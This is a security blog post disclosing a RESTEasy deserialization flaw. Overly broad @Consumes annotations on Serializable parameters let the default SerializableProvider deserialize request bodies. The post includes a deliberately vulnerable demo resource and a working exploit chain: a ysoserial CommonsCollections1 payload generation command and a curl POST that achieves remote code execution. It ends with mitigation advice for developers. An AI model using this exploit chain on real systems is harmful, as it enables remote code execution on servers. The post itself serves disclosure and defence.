RESTEasy is RedHat project for building REST services in Java. You can deploy and run RESTEasy services on various servlet containers, like Apache Tomcat, Jetty, Undertow etc. RESTEasy is included as a module in WildFly and Jboss J2EE servers.

In this post, I want to describe server-side bug, which I’ve found during assessing security of some project written in Java. This project had REST API that was built with RESTEasy.

I’ve written simple PoC application to demonstrate what can go wrong with RESTEasy services.

Consider the following JAX-RS resource class with name PoC_resource.
package unsafe.jaxrs;

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

 @POST
 @Path("/concat")
 @Produces(MediaType.APPLICATION_JSON)
 @Consumes({"*/*"})
 public Map doConcat(Pair pair) {

  HashMap result = new HashMap();
  result.put("Result", pair.getP1() + pair.getP2());

  return result;
 }
 
}
This class contains JAX-RS method with name doConcat that is available via /concat path. It accepts “pair” parameter of class Pair.

I’ve added Jackson2 dependency to pom.xml. To invoke doConcat method you should issue POST request to the path /concat and pass JSON that represents object of the class Pair in the request body. You should also pass application/json in Content-Type HTTP header.

Here is the command line to invoke doConcat method of JAX-RS resource PoC_resource.
curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    --data-binary $'{\"p1\":\"a\",\"p2\":\"b\"}' \
    'http://127.0.0.1:8080/unsafe-jaxrs/concat'
You should get similar answer.



My demo RESTEasy application has two features that make it vulnerable:
  1.  Pair class is derived from java.io.Serializable.
  2.  JAX-RS method doConcat has @Consumes({"*/*"}) annotation.
Via @Consumes annotation, you specify that JAX-RS resource or resource method accept certain values in Content-Type HTTP header. In my case, any value is allowed in Content-Type header.

RESTEasy uses so-called “providers” to marshal request body into the parameter of JAX-RS method. For my application, there is Jackson2 provider to marshal JSON into “pair” parameter.

As you might guess, RESTEasy will pick the suitable provider for marshalling based on the Class of the parameter and the value of Content-Type HTTP header.

There are non-standard providers like Jackson2 or JAXB that you should add explicitly in pom.xml. However, there are standard providers, which are located inside org.jboss.resteasy.plugins.providers package of resteasy-jaxrs JAR (core RESTEasy library). The most interesting standard provider is, of course, org.jboss.resteasy.plugins.providers.SerializableProvider.

When RESTEasy handles the request, it observes what content types are allowed for JAX-RS method (what content types are specified in @Consumes annotation for JAX-RS resource and JAX-RS resource method). RESTEasy composes short list of providers that are suitable for marshaling based on what content types are allowed for JAX-RS method, and value of Content-Type HTTP header in request. Next it iterates over this list, and for each provider invokes isReadable() method. If isReadable() of some provider returns true, RESTEasy chooses that provider for marshalling. If none of the isReadable() methods return true, we will get HTTP response with code 415.

Here you can see the listing of isReadable() method for SerializableProvider.
public boolean isReadable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType)
  {
    return (Serializable.class.isAssignableFrom(type)) && (APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType())) && (APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype()));
  }
As you can observe in the listing, SerializableProvider is used for marshalling when parameter’s class is superclass of java.io.Serializable and Content-Type is equal to application/x-java-serialized-object.

To construct object from request body readFrom() method of SerializableProvider is invoked, which performs deserialization by calling readObject(). And we might have RCE, if there are “interesting” Java classes in the CLASSPATH.
public Serializable readFrom(Class type, Type genericType, Annotation[] annotations, MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream)
    throws IOException, WebApplicationException
  {
    BufferedInputStream bis = new BufferedInputStream(entityStream);
    ObjectInputStream ois = new ObjectInputStream(bis);
    try
    {
      return (Serializable)Serializable.class.cast(ois.readObject());
    }
    catch (ClassNotFoundException e)
    {
      throw new WebApplicationException(e);
    }
  }
For demonstration, I’ve added Apache Commons Collections 3.2.1 dependency in pom.xml.

First, I generate payload using ysoserial tool. Then I invoke doConcat method with curl and use Content-Type application/x-java-serialized-object.
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 "curl 127.0.0.1:8888" > /tmp/payload


curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/x-java-serialized-object' \
    -H 'Expect:' \
    --data-binary "@/tmp/payload" \
    'http://127.0.0.1:8080/unsafe-jaxrs/concat'



I have remote code execution.


Let’s summarize

For Pentesters. JAX-RS methods are vulnerable to “deserialization of untrusted data” bug  when the following conditions are met:
  1. Content type is not specified explicitly for JAX-RS method via @Consumes annotation or specified, but too broad (e.g. */*, application/*).
  2. JAX-RS method has parameter of class that is serializable.
For developers. Specify explicitly allowed content types using @Consumes annotation because there are potentially dangerous default providers.